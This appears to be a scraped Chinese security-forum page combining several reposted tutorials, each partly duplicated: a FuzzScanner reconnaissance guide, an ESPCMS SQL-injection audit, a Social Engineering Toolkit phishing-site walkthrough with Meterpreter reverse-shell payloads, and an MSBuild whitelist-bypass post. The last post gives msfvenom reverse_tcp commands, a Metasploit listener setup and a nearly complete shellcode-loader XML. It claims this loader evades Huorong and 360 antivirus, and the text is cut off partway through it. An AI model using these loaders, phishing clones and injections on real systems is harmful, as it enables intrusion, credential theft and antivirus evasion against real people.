在一些c段主机扫描、目录枚举、可能存在的威胁页面等方面进行了判断。1、在扫描子域名时会解析其ip地址,并把改ip地址作为目标系统的C段地址,如设置了c段扫描的参数时会自动扫描其c段地址;
2、当扫描web地址或探测到某端口为web服务时,会自动进行了web指纹探测,并调用dirsearch进行目录枚举;
3、在检测到端口或Url地址中存在可能的漏洞点时,会输出到vulnerable.txt,比如.action及其他一些动态页面时。 结果保存
由于这些扫描结果需要后续人工逐个测试,为了方便就直接保存了txt,未保存数据库。
扫描完成后的结果保存log目录,最主要的就是该站点log根目录下的几个txt文档,比如下图中的vipshop.com-sub_info.txt、vipshop.com-domain.txt、vipshop.com-c_ip.txt、vipshop.com-c_ip_info.txt等。1、sub目录下为各子站点的各相应详细信息,方便回溯;
2、spider是对各目标系统的爬虫记录,并区分了动态链接、外部链接等;
3、domain目录是wydomain、subdomians等的子域名记录;
4、c_ip目录为ip地址扫描的相关信息;保存的主要结果
 
以vipshop.com和guazi.com为例,保存了网站信息、网站标题、中间件信息、waf信息、端口信息、目录扫描信息等等。
 
注意事项
1、在扫描c段时,如果选择了全端口扫描,速度会比较慢,但可能会有惊喜。适合有个服务器放上面慢慢跑。
2、如果选择了目录枚举,可能速度也会比较慢,目录枚举是直接用的dirsearch,在启用该功能后当发现某端口为web服务时就会调用dirsearch。
 
 
备注:文章转载自:https://www.freebuf.com/sectool/200344.html
  查看全部
一.工具介绍
一个用来进行信息搜集的工具集,主要是用于对网站子域名、开放端口、端口指纹、c段地址、敏感目录、链接爬取等信息进行批量搜集。
fuzzScanner可用于批量快速的搜集网站信息,比别人更快一步的发现其他端口的应用或者网站管理后台等,也适合src漏洞挖掘的前期信息搜集。
开发初衷比较简单,当时正在参加一些攻防演练,需要快速的对目标网站进行子域名发现、端口扫描、目录扫描等,手头上有一些分散的工具,比如lijiejie的subdomains、子域名挖掘机、dirsearch等等,但当目标任务量比较大时,这些重复性的工作就会比较费时费力,所以就有了这么个集合十八种杀人武器于一身的“超级武器”——fuzzScanner。
二.工具安装
安装环境为linux,windows均可,内部工具wydomain、WhatWeb、subDomainsBrute、dirsearch、wafw00f等工具均已放在libs目录下,默认可直接调用。
1.常规安装(linux下安装,不建议)
从github上面拖下来
git clone [url]https://github.com/TideSec/FuzzScanner[/url]




如果你没有安装git,请参考https://www.jianshu.com/p/df607885cfd0
由于该命令时提示无法找到https://github.com/TideSec/FuzzScanner
解决方法:直接输入以下命令
git clone git://github.com/TideSec/FuzzScanner

 
 
 
 安装requirements.txt依赖
pip install -r requirements.txt
该命令必须在刚才克隆的fuzzscanner运行,否则会出现找不到requirements.txt
使用pip命令前提该linux系统必须带有python环境,有时运行pip命令是会出现报错
请参考https://blog.csdn.net/lkgCSDN/article/details/84403329进行配置
 
安装ruby环境,以便运行whatweb
sudo yum install ruby    # CentOS, Fedora, 或 RHEL 系统
sudo apt-get install ruby-full # Debian 或 Ubuntu 系统

 
安装namp
yum install nmap  # CentOS, Fedora, 或 RHEL 系统
apt-get install nmap # Debian 或 Ubuntu 系统

运行脚本,因为调用nmap需要root权限,所以需要sudo。
sudo python FuzzScanner.py

直到此处安装完成(本人在centos6.5下按照上述方法安装,到最后一步会出现fuzzscanner.py脚本语法错误,去
https://github.com/TideSec/FuzzScanner
发现代码一模一样。一直没找到解决方法,所有不建议选择常规安装)
 
2.使用docker镜像安装(linux,windows均可以)
本人在centos7上安装的docker,安装docker请参考文章https://www.runoob.com/docker/centos-docker-install.html
windows下安装docker请参考https://www.runoob.com/docker/windows-docker-install.html 
备注:(在windows下安装docker必须开启Hyper-V,这个操作会导致VMware无法运行,所有不建议在Windows下安装docker)
安装完成后从阿里云上使用docker命令pull下来
docker pull registry.cn-hangzhou.aliyuncs.com/secplus/tide-fuzzscanner:1.0
使用docker images查看docker镜像信息
docker images



创建docker并进入docker
docker run --name fuzzscanner -t -i 52341fc71d0a /bin/bash
执行fuzzscanner
cd /root/FuzzScanner/
python FuzzScanner.py
使用方法
python FuzzScanner.py -hc target.com         -->  domain && web finger && Dir scan && C scan 
设置单个目标网站,子域名枚举 && web指纹识别 && 目录枚举 && C段扫描

python FuzzScanner.py -Hc vuln_domains.txt --> domain && web finger && Dir scan && C scan
从文件读取单个或多个目标网站,子域名枚举 && web指纹识别 && 目录枚举 && C段扫描

python FuzzScanner.py -hca target.com --> domain && web finger && Dir scan && C scan && C allport
设置单个目标网站,子域名枚举 && web指纹识别 && 目录枚举 && C段全端口扫描

python FuzzScanner.py -Hca vuln_domains.txt --> domain && web finger && Dir scan && C scan && C allport
从文件读取单个或多个目标网站,子域名枚举 && web指纹识别 && 目录枚举 && C段全端口扫描

python FuzzScanner.py -h target.com --> domain && web finger && Dir scan
设置单个目标网站,子域名枚举 && web指纹识别 && 目录枚举

python FuzzScanner.py -H vuln_domains.txt --> domain && web finger && Dir scan
从文件读取单个或多个目标网站,子域名枚举 && web指纹识别 && 目录枚举

python FuzzScanner.py -c 192.168.1.1 --> C scan
设置单个IP,进行C段地址探测

python FuzzScanner.py -cd 192.168.1.1 --> C scan && Dir scan
设置单个IP,进行C段地址探测并对web服务进行目录枚举

python FuzzScanner.py -C vuln_ip.txt --> C scan
从文件读取单个或多个目标IP地址,进行C段地址探测

python FuzzScanner.py -Cd vuln_ip.txt --> C scan && Dir scan
从文件读取单个或多个目标IP地址,进行C段地址探测并对web服务进行目录枚举

python FuzzScanner.py -ca 192.168.1.1 --> C scan && C allport
设置单个IP,进行C段地址探测和全端口扫描

python FuzzScanner.py -Ca vuln_ip.txt --> C scan && C allport
从文件读取单个或多个目标IP地址,进行C段地址探测和全端口扫描

 
上述为第一次运行该脚本命令,关闭后再次启用该docker镜像命令如下
[root@localhost ~]# docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
registry.cn-hangzhou.aliyuncs.com/secplus/tide-fuzzscanner 1.0 52341fc71d0a 8 months ago 1.36GB
hello-world latest fce289e99eb9 11 months ago 1.84kB



ot@localhost ~]# docker run -i -t 52341fc71d0a /bin/bash
[root@69d9e2dd7b57 /]#



[root@69d9e2dd7b57 /]# cd /root/FuzzScanner/
[root@69d9e2dd7b57 FuzzScanner]#



[root@69d9e2dd7b57 FuzzScanner]# python FuzzScanner.py 

python FuzzScanner.py -hc target.com --> domain && web finger && Dir scan && C scan
python FuzzScanner.py -Hc vuln_domains.txt --> domain && web finger && Dir scan && C scan
python FuzzScanner.py -hca target.com --> domain && web finger && Dir scan && C scan && C allport
python FuzzScanner.py -Hca vuln_domains.txt --> domain && web finger && Dir scan && C scan && C allport
python FuzzScanner.py -h target.com --> domain && web finger && Dir scan
python FuzzScanner.py -H vuln_domains.txt --> domain && web finger && Dir scan
python FuzzScanner.py -c 192.168.1.1 --> C scan
python FuzzScanner.py -cd 192.168.1.1 --> C scan && Dir scan
python FuzzScanner.py -C vuln_ip.txt --> C scan
python FuzzScanner.py -Cd vuln_ip.txt --> C scan && Dir scan
python FuzzScanner.py -ca 192.168.1.1 --> C scan && C allport
python FuzzScanner.py -Ca vuln_ip.txt --> C scan && C allport




如果运行docker时出现
Cannot connect to the Docker daemon at unix:///var/run/docker.sock. Is the docker daemon running?
输入以下命令
$ systemctl daemon-reload
$ sudo service docker restart
$ sudo service docker status (should see active (running))
$ sudo docker run hello-world

 
Fuzzscanner主要功能及原理介绍
子域名枚举
当输入目标站点域名后,会使用以下4种方式进行子域名的枚举
1、百度链接爬取,会使用site:xxx.com为关键字爬取所有子域名;
2、网站友链爬取,会对自身3层链接目录进行爬取,搜集子域名;
3、本利想对chaxunla、aizhan之类的子域名查询接口进行查询,后来发现猪猪侠的wydomain已经实现了这个功能,就直接调用了wydomain;
4、使用了subdomains进行子域名的暴力枚举
端口扫描
端口扫描和指纹获取主要依赖于nmap
1、首先根据参数设置情况判断是全端口扫描还是部分端口扫描;
2、如果扫描目标是网站地址,会根据目标开放的端口进行指纹获取,如果某端口服务为web服务,还会继续进行web指纹的获取;
3、如果扫描目标是ip地址或地址段,会先试用pynamp进行存活主机判断,然后使用socket端口探测的方式探测存活主机,然后再使用nmap进行端口的扫描和指纹的获取。
指纹识别
主要调用了whatweb、wafw00f、whatcms等进行了web指纹的识别
1、当扫描web地址或探测到某端口为web服务时,会使用whatweb探测该站点信息,提取关键字段;
2、使用了wafw00f来探测是否存在waf,这样对有waf的不太好啃的站点可以暂时放弃;
3、对web站点进行了目录枚举,可能直接发行管理后台地址或备份文件等。
其他功能
在一些c段主机扫描、目录枚举、可能存在的威胁页面等方面进行了判断。
1、在扫描子域名时会解析其ip地址,并把改ip地址作为目标系统的C段地址,如设置了c段扫描的参数时会自动扫描其c段地址;
2、当扫描web地址或探测到某端口为web服务时,会自动进行了web指纹探测,并调用dirsearch进行目录枚举;
3、在检测到端口或Url地址中存在可能的漏洞点时,会输出到vulnerable.txt,比如.action及其他一些动态页面时。
结果保存
由于这些扫描结果需要后续人工逐个测试,为了方便就直接保存了txt,未保存数据库。
扫描完成后的结果保存log目录,最主要的就是该站点log根目录下的几个txt文档,比如下图中的vipshop.com-sub_info.txt、vipshop.com-domain.txt、vipshop.com-c_ip.txt、vipshop.com-c_ip_info.txt等。
1、sub目录下为各子站点的各相应详细信息,方便回溯;
2、spider是对各目标系统的爬虫记录,并区分了动态链接、外部链接等;
3、domain目录是wydomain、subdomians等的子域名记录;
4、c_ip目录为ip地址扫描的相关信息;
保存的主要结果
 
以vipshop.com和guazi.com为例,保存了网站信息、网站标题、中间件信息、waf信息、端口信息、目录扫描信息等等。
 
注意事项
1、在扫描c段时,如果选择了全端口扫描,速度会比较慢,但可能会有惊喜。适合有个服务器放上面慢慢跑。
2、如果选择了目录枚举,可能速度也会比较慢,目录枚举是直接用的dirsearch,在启用该功能后当发现某端口为web服务时就会调用dirsearch。
 
 
备注:文章转载自:https://www.freebuf.com/sectool/200344.html
 

代码审计初识-espcms SQL注入实战

代码白盒测试jizi_smile 发表了文章 • 1 个评论 • 37 次浏览 • 1 天前 • 来自相关话题

0x01:
环境:phpstudy 直接用的 
5.2.17版本的php
2.4.39版本的apache
5.0.96版本的mysql
v5的espcms
工具:Seay源代码审计系统
=============================================================
0x01:代码发现
在seay中选中新建项目 找到espcms所在目录 点击自动审计




发现很多可能存在漏洞的 地方选择 第二十八个可能存在SQL注入漏洞 
可以看到php源码中没有加引号  




根据查询语句发现参数为$parentid 获得该参数语句为
$parentid = $this->fun->accept('parented','R');




右键选中该函数选择定位函数查看该函数具体代码




选择第二个为我们查询的accept函数 为甚麽是第二个 这里简述下 因为我们调用的$this->fun是class_function.php文件中functioninc 类的实例化 所以选第二个




源码中可看出accept 函数即可接收get 传参也可接受post传参
$putvalue = isset($var[$k]) ? $this->daddslashes($var[$k],0):null;过滤一:可以看出先对传入参数用daddslashes()函数进行了处理




查看该函数代码发现 该函数仅仅是对addslashes()的补充版  进行了是否打开配置项magic_quotes_gpc 的判断
然后对输入参数进行转义
===================================================
补充:magic_quotes_gpc 选项 作用与addslashes()函数类似均为 对单双引号 null  反斜杠  进行转义(但该特性在php 5.35 起废弃 并在5.4 移除) get_magic_quotes_gpc 会在 该配置为on打开时返回1 为off时返回0
===================================================
过滤2:return $htmlcode ? ($rehtml ? $this->preg_htmldecode($putvalue) : $this->htmldecode($putvalue));

根据代码可以看出 在使用参数前对参数用htnldecode()函数对其进行了第二次过滤





根据该函数可以看出对参数进行了正则匹配过滤特殊符号 及html 标签
到这里我们就可以判断 这里存在注入了 因为该参数的sql语句中没有引号 并且只对参数进行了特殊符号过滤而没有过滤sql语句 因此过滤形同虚设
0x02:漏洞触发
在上边图片中我们已经发现存在漏洞的语句在important类的oncitylist()函数中 ,那麽此时我们只需要找到那里调用了这个函数即可




在全局搜索中搜索new important 查看哪里把important 类进行了实例化发现 /adminsoft/index.php 中实例化了该类查看代码




观察代码发现想要执行oncitylist()方法只能是 $action参数为citylist 而$archive参数也应该在判断数组中
因此构造url为:/adminsoft/index.php?archive=citylist&action=citylist
访问发现自动跳转为登陆窗口:adminsoft/index.php?archive=adminuser&amp;action=login​ 
因此判断该注入为后台注入  登陆后访问url发现是查看看数据库中城市




加上parentid参数发现默认1表示所有城市 1 代表北京 and 1=1  and 1=2 回显不同
找到注入点 下边不再写 是一个简单的整形注入。
​​

 
 
  查看全部
0x01:
环境:phpstudy 直接用的 
5.2.17版本的php
2.4.39版本的apache
5.0.96版本的mysql
v5的espcms
工具:Seay源代码审计系统
=============================================================
0x01:代码发现
在seay中选中新建项目 找到espcms所在目录 点击自动审计
1.PNG

发现很多可能存在漏洞的 地方选择 第二十八个可能存在SQL注入漏洞 
可以看到php源码中没有加引号  
2.PNG

根据查询语句发现参数为$parentid 获得该参数语句为
$parentid = $this->fun->accept('parented','R');

3.jpg

右键选中该函数选择定位函数查看该函数具体代码
aaaa.PNG

选择第二个为我们查询的accept函数 为甚麽是第二个 这里简述下 因为我们调用的$this->fun是class_function.php文件中functioninc 类的实例化 所以选第二个
accept.PNG

源码中可看出accept 函数即可接收get 传参也可接受post传参
$putvalue = isset($var[$k]) ? $this->daddslashes($var[$k],0):null;
过滤一可以看出先对传入参数用daddslashes()函数进行了处理
dassh.PNG

查看该函数代码发现 该函数仅仅是对addslashes()的补充版  进行了是否打开配置项magic_quotes_gpc 的判断
然后对输入参数进行转义
===================================================
补充:magic_quotes_gpc 选项 作用与addslashes()函数类似均为 对单双引号 null  反斜杠  进行转义(但该特性在php 5.35 起废弃 并在5.4 移除) get_magic_quotes_gpc 会在 该配置为on打开时返回1 为off时返回0
===================================================
过滤2:
return $htmlcode ? ($rehtml ? $this->preg_htmldecode($putvalue) : $this->htmldecode($putvalue));

根据代码可以看出 在使用参数前对参数用htnldecode()函数对其进行了第二次过滤

html.PNG

根据该函数可以看出对参数进行了正则匹配过滤特殊符号 及html 标签
到这里我们就可以判断 这里存在注入了 因为该参数的sql语句中没有引号 并且只对参数进行了特殊符号过滤而没有过滤sql语句 因此过滤形同虚设
0x02:漏洞触发
在上边图片中我们已经发现存在漏洞的语句在important类的oncitylist()函数中 ,那麽此时我们只需要找到那里调用了这个函数即可
quanju.PNG

在全局搜索中搜索new important 查看哪里把important 类进行了实例化发现 /adminsoft/index.php 中实例化了该类查看代码
index.PNG

观察代码发现想要执行oncitylist()方法只能是 $action参数为citylist 而$archive参数也应该在判断数组中
因此构造url为:/adminsoft/index.php?archive=citylist&action=citylist
访问发现自动跳转为登陆窗口:adminsoft/index.php?archive=adminuser&amp;action=login​ 
因此判断该注入为后台注入  登陆后访问url发现是查看看数据库中城市
list.PNG

加上parentid参数发现默认1表示所有城市 1 代表北京 and 1=1  and 1=2 回显不同
找到注入点 下边不再写 是一个简单的整形注入。
​​

 
 
 

SET——社会工程师的工具包

渗透测试cat 发表了文章 • 0 个评论 • 88 次浏览 • 2019-11-29 11:11 • 来自相关话题

一、什么是SET
Social Engineering Toolkit(社会工程工具包),可以轻松制作各种类型的钓鱼邮件,网页等。轻松到只需要记住一串数字就可以达到目的
 
二、部分参数
使用SET(第一次使用时需要同意条款)setoolkit

菜单选项1) Social-Engineering Attacks1) 社会工程攻击
2) Penetration Testing (Fast-Track) 渗透测试(快速通道)
3) Third Party Modules 第三方模块
4) Update the Social-Engineer Toolkit 更新社会工程师工具包
5) Update SET configuration 更新SET配置
6) Help, Credits, and About 帮助、学分和关于
99) Exit the Social-Engineer Toolkit 退出SET
社会工程攻击菜单1) Spear-Phishing Attack Vectors1) 鱼叉式网络钓鱼攻击
2) Website Attack Vectors 网站攻击载体
3) Infectious Media Generator 传染媒介生成器
4) Create a Payload and Listener 创建一个有效负载和监听器
5) Mass Mailer Attack 群发邮件攻击
6) Arduino-Based Attack Vector 基于Arduino的攻击向量
7) Wireless Access Point Attack Vector 无线接入点攻击向量
8) QRCode Generator Attack Vector QRCode生成器攻击向量
9) Powershell Attack Vectors Powershell攻击向量
10) SMS Spoofing Attack Vector 短信欺骗攻击向量
11) Third Party Modules 第三方模块
渗透测试(快速通道)菜单1) Microsoft SQL Bruter 微软SQL Bruter(密码爆破工具)
2) Custom Exploits 自定义漏洞
3) SCCM Attack Vector SCCM攻击向量
4) Dell DRAC/Chassis Default Checker Dell DRAC/主板默认检查程序
5) RID_ENUM - User Enumeration Attack RID_ENUM-User枚举攻击
6) PSEXEC Powershell Injection PSEXEC Powershell注入
第三方模块菜单Google Analytics Attack by @ZonkSec @ZonkSec的谷歌分析攻击
ps:有关如何创建自己的模块的信息,请阅读readme/modules.txt
三、一个简单的钓鱼网站
进入攻击模块setoolkit
1
2



 
这里选择6,因为6表示尝试上面所有方法1) Java Applet Attack Method1) Java小程序攻击方法
2) Metasploit Browser Exploit Method Metasploit浏览器利用方法
3) Credential Harvester Attack Method 凭证收割机攻击方法
4) Tabnabbing Attack Method 制表攻击方法
5) Web Jacking Attack Method 顶网攻击方法
6) Multi-Attack Web Method 多攻击Web方法
7) Full Screen Attack Method 全屏攻击法
8) HTA Attack Method HTA攻击方法



 
这里让选择怎么制作钓鱼网站,选择最简单的2。之后会询问是否用NET/Port转发,以及输入自己的IP和要克隆的网站,这些根据自己的情况输入1) Web Templates 网络模板
2) Site Cloner 网页克隆
3) Custom Import 自定义导入



 
克隆成功之后让选择开启的攻击方式,默认是全部关闭,选7则直接结束




 
选择攻击模块之后,选择要生成的负载类型、端口(默认为443)以及有效的荷载。具体选项如下负载选项
1) Meterpreter Memory Injection (DEFAULT) This will drop a meterpreter payload through powershell injection
译:Meterpreter内存注入(默认)这将通过powershell注入降低Meterpreter负载
2) Meterpreter Multi-Memory Injection This will drop multiple Metasploit payloads via powershell injection
译:Meterpreter多内存注入这将通过powershell注入减少多个Metasploit有效负载
3) SE Toolkit Interactive Shell Custom interactive reverse toolkit designed for SET
译:为SET设计的SE-Toolkit交互Shell自定义交互反向工具包
4) SE Toolkit HTTP Reverse Shell Purely native HTTP shell with AES encryption support
译:SE Toolkit HTTP Reverse Shell纯本机HTTP Shell,支持AES加密
5) RATTE HTTP Tunneling Payload Security bypass payload that will tunnel all comms over HTTP
译:RATTE HTTP隧道负载安全绕过将通过HTTP隧道所有通信的负载
6) ShellCodeExec Alphanum Shellcode This will drop a meterpreter payload through shellcodeexec
译:ShellCodeExec Alphanum Shellcode这将通过ShellCodeExec丢弃一个米计有效载荷
7) Import your own executable Specify a path for your own executable
译:导入自己的可执行文件指定自己的可执行文件的路径
8) Import your own commands.txt Specify payloads to be sent via command line
译:导入自己的commands.txt指定要通过命令行发送的有效载荷

荷载选项
1) Windows Meterpreter Reverse TCP Windows流量表反向TCP
2) Windows Meterpreter (Reflective Injection), Reverse HTTPS Stager Windows仪表(反射注入),反向HTTPS Stager
3) Windows Meterpreter (Reflective Injection) Reverse HTTP Stager Windows MeterMeter(反射注入)反向HTTP Stager
4) Windows Meterpreter (ALL PORTS) Reverse TCP Windows MeterPiter(所有端口)反向TCP




 
然后就开始监听状态




 
四、注意事项
红色字体不一定是报错,要根据意思判断SET版本不同,选项顺序也会改变有些功能的使用是有条件的,要现在选项上方的介绍里面看清楚 查看全部
一、什么是SET
Social Engineering Toolkit(社会工程工具包),可以轻松制作各种类型的钓鱼邮件,网页等。轻松到只需要记住一串数字就可以达到目的
 
二、部分参数
使用SET(第一次使用时需要同意条款)
setoolkit

菜单选项
1) Social-Engineering Attacks1)             社会工程攻击
2) Penetration Testing (Fast-Track) 渗透测试(快速通道)
3) Third Party Modules 第三方模块
4) Update the Social-Engineer Toolkit 更新社会工程师工具包
5) Update SET configuration 更新SET配置
6) Help, Credits, and About 帮助、学分和关于
99) Exit the Social-Engineer Toolkit 退出SET

社会工程攻击菜单
1) Spear-Phishing Attack Vectors1)        鱼叉式网络钓鱼攻击
2) Website Attack Vectors 网站攻击载体
3) Infectious Media Generator 传染媒介生成器
4) Create a Payload and Listener 创建一个有效负载和监听器
5) Mass Mailer Attack 群发邮件攻击
6) Arduino-Based Attack Vector 基于Arduino的攻击向量
7) Wireless Access Point Attack Vector 无线接入点攻击向量
8) QRCode Generator Attack Vector QRCode生成器攻击向量
9) Powershell Attack Vectors Powershell攻击向量
10) SMS Spoofing Attack Vector 短信欺骗攻击向量
11) Third Party Modules 第三方模块

渗透测试(快速通道)菜单
1) Microsoft SQL Bruter                      微软SQL Bruter(密码爆破工具)
2) Custom Exploits 自定义漏洞
3) SCCM Attack Vector SCCM攻击向量
4) Dell DRAC/Chassis Default Checker Dell DRAC/主板默认检查程序
5) RID_ENUM - User Enumeration Attack RID_ENUM-User枚举攻击
6) PSEXEC Powershell Injection PSEXEC Powershell注入

第三方模块菜单
Google Analytics Attack by @ZonkSec     @ZonkSec的谷歌分析攻击
ps:有关如何创建自己的模块的信息,请阅读readme/modules.txt

三、一个简单的钓鱼网站
进入攻击模块
setoolkit
1
2
1TIM截图20191129092801.jpg

 
这里选择6,因为6表示尝试上面所有方法
1) Java Applet Attack Method1)             Java小程序攻击方法
2) Metasploit Browser Exploit Method Metasploit浏览器利用方法
3) Credential Harvester Attack Method 凭证收割机攻击方法
4) Tabnabbing Attack Method 制表攻击方法
5) Web Jacking Attack Method 顶网攻击方法
6) Multi-Attack Web Method 多攻击Web方法
7) Full Screen Attack Method 全屏攻击法
8) HTA Attack Method HTA攻击方法
2TIM截图20191129102958.jpg

 
这里让选择怎么制作钓鱼网站,选择最简单的2。之后会询问是否用NET/Port转发,以及输入自己的IP和要克隆的网站,这些根据自己的情况输入
1) Web Templates   网络模板
2) Site Cloner 网页克隆
3) Custom Import 自定义导入
3TIM截图20191129103148.jpg

 
克隆成功之后让选择开启的攻击方式,默认是全部关闭,选7则直接结束
4TIM截图20191129103408.jpg

 
选择攻击模块之后,选择要生成的负载类型、端口(默认为443)以及有效的荷载。具体选项如下
负载选项
1) Meterpreter Memory Injection (DEFAULT) This will drop a meterpreter payload through powershell injection
译:Meterpreter内存注入(默认)这将通过powershell注入降低Meterpreter负载
2) Meterpreter Multi-Memory Injection This will drop multiple Metasploit payloads via powershell injection
译:Meterpreter多内存注入这将通过powershell注入减少多个Metasploit有效负载
3) SE Toolkit Interactive Shell Custom interactive reverse toolkit designed for SET
译:为SET设计的SE-Toolkit交互Shell自定义交互反向工具包
4) SE Toolkit HTTP Reverse Shell Purely native HTTP shell with AES encryption support
译:SE Toolkit HTTP Reverse Shell纯本机HTTP Shell,支持AES加密
5) RATTE HTTP Tunneling Payload Security bypass payload that will tunnel all comms over HTTP
译:RATTE HTTP隧道负载安全绕过将通过HTTP隧道所有通信的负载
6) ShellCodeExec Alphanum Shellcode This will drop a meterpreter payload through shellcodeexec
译:ShellCodeExec Alphanum Shellcode这将通过ShellCodeExec丢弃一个米计有效载荷
7) Import your own executable Specify a path for your own executable
译:导入自己的可执行文件指定自己的可执行文件的路径
8) Import your own commands.txt Specify payloads to be sent via command line
译:导入自己的commands.txt指定要通过命令行发送的有效载荷

荷载选项
1) Windows Meterpreter Reverse TCP Windows流量表反向TCP
2) Windows Meterpreter (Reflective Injection), Reverse HTTPS Stager Windows仪表(反射注入),反向HTTPS Stager
3) Windows Meterpreter (Reflective Injection) Reverse HTTP Stager Windows MeterMeter(反射注入)反向HTTP Stager
4) Windows Meterpreter (ALL PORTS) Reverse TCP Windows MeterPiter(所有端口)反向TCP

5TIM截图20191129103719.jpg

 
然后就开始监听状态
6TIM截图20191129104452.jpg

 
四、注意事项
  • 红色字体不一定是报错,要根据意思判断
  • SET版本不同,选项顺序也会改变
  • 有些功能的使用是有条件的,要现在选项上方的介绍里面看清楚

基于白名单Msbuild.exe执行payload

Web安全渗透ypk 发表了文章 • 0 个评论 • 59 次浏览 • 2019-11-28 15:38 • 来自相关话题

0x01 简介
Microsoft Build Engine是一个用于构建应用程序的平台。此引擎也被称为msbuild,它为项目文件提供一个XML模式,该模式控制构建平台如何处理和构建软件。Visual Studio使用MSBuild,但它不依赖于Visual Studio。通过在项目或解决方案文件中调用msbuild.exe,可以在未安装Visual Studio的环境中编译和生成程序。。
Visual Studio使用MSBuild加载和生成托管项目。Visual Studio中的项目文件(.csproj,  .vbproj,  .vcxproj和其他)包含MSBuild XML代码
说明:Msbuild.exe所在路径没有被系统添加PATH环境变量中,因此,Msbuild命令无法识别
路径:C:\Windows\Microsoft.NET\Framework\v4.0.30319
 
0x02 适用条件
.NET Framework>=4.0
 
0x03 攻击方法
1.首先使用msf生成一个c#的payload
msfvenom -p windows/meterpreter/reverse_tcp lhost=x.x.x.x lport=xx -f csharp





 
msf生产的代码替换原始代码的内容(源码放在最下面了)
 





buf 替换成 shellcode(细节)
kali设置监听
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST x.x.x.x
set LPORT xx
exploit




 
靶机执行文件
 C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe xx.xml










 
0x04 xx.xml
payload
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!-- This inline task executes shellcode. -->
<!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe SimpleTasks.csproj -->
<!-- Save This File And Execute The Above Command -->
<!-- Author: Casey Smith, Twitter: @subTee -->
<!-- License: BSD 3-Clause -->
<Target Name="Hello">
<ClassExample />
</Target>
<UsingTask
TaskName="ClassExample"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<Task>

<Code Type="Class" Language="cs">
<![CDATA[
using System;
using System.Runtime.InteropServices;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class ClassExample : Task, ITask
{
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")]
private static extern IntPtr CreateThread(
UInt32 lpThreadAttributes,
UInt32 dwStackSize,
UInt32 lpStartAddress,
IntPtr param,
UInt32 dwCreationFlags,
ref UInt32 lpThreadId
);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(
IntPtr hHandle,
UInt32 dwMilliseconds
);
public override bool Execute()
{
byte[] shellcode = new byte[179779] {
这里是msf生成的c# shellcode
};
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr pinfo = IntPtr.Zero;
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>


 
0x05测试结果
普通用户权限也能执行
.csproj,  .vbproj,  .vcxproj后缀也可用
火绒、360可绕过
 
 
 
  查看全部
0x01 简介
Microsoft Build Engine是一个用于构建应用程序的平台。此引擎也被称为msbuild,它为项目文件提供一个XML模式,该模式控制构建平台如何处理和构建软件。Visual Studio使用MSBuild,但它不依赖于Visual Studio。通过在项目或解决方案文件中调用msbuild.exe,可以在未安装Visual Studio的环境中编译和生成程序。。
Visual Studio使用MSBuild加载和生成托管项目。Visual Studio中的项目文件(.csproj,  .vbproj,  .vcxproj和其他)包含MSBuild XML代码
说明:Msbuild.exe所在路径没有被系统添加PATH环境变量中,因此,Msbuild命令无法识别
路径:C:\Windows\Microsoft.NET\Framework\v4.0.30319
 
0x02 适用条件
.NET Framework>=4.0
 
0x03 攻击方法
1.首先使用msf生成一个c#的payload
msfvenom -p windows/meterpreter/reverse_tcp lhost=x.x.x.x lport=xx -f csharp

msf.png

 
msf生产的代码替换原始代码的内容(源码放在最下面了)
 

替换.png

buf 替换成 shellcode(细节)
kali设置监听
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST x.x.x.x
set LPORT xx
exploit
监听.png

 
靶机执行文件
 C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe xx.xml

win执行.png


成功.png

 
0x04 xx.xml
payload
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!-- This inline task executes shellcode. -->
<!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe SimpleTasks.csproj -->
<!-- Save This File And Execute The Above Command -->
<!-- Author: Casey Smith, Twitter: @subTee -->
<!-- License: BSD 3-Clause -->
<Target Name="Hello">
<ClassExample />
</Target>
<UsingTask
TaskName="ClassExample"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<Task>

<Code Type="Class" Language="cs">
<![CDATA[
using System;
using System.Runtime.InteropServices;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class ClassExample : Task, ITask
{
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")]
private static extern IntPtr CreateThread(
UInt32 lpThreadAttributes,
UInt32 dwStackSize,
UInt32 lpStartAddress,
IntPtr param,
UInt32 dwCreationFlags,
ref UInt32 lpThreadId
);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(
IntPtr hHandle,
UInt32 dwMilliseconds
);
public override bool Execute()
{
byte[] shellcode = new byte[179779] {
这里是msf生成的c# shellcode
};
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
